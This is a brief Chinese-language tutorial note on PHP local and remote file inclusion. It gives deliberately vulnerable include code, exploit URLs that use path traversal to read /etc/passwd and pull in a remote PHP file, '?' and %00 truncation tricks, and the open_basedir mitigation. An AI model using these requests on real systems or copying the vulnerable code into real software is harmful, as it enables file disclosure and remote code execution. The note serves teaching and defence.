PHP文件包含
本地包含
<?php $file = $_GET['file']; if (file_exists('/var/www/html/'.$file)){ include '/var/www/html/'.$file; } ?>
访问连接:http://192.168.220.150/test.php?file=../../../etc/passwd
在php.ini中设置open_basedir可以限制在某个特定目录下PHP能打开的文件
open_basedir = /var/www/html //限制在当前目录下(包括子目录) open_basedir = /var/www/html/ //限制在当前目录下(不包括子目录)
远程文件包含
当PHP的配置选项allow_url_include为ON时,就可以包含远程的文件
<?php $file = $_GET['file']; if (isset($file)){ include($file.'.txt'); } ?>
要包含的文件代码
<?php phpinfo(); ?>
访问链接:http://127.0.0.1/4.php?file=http://192.168.220.150/1.php?
?后面的代码被解释成url的请求参数,有的也可以用%00来截断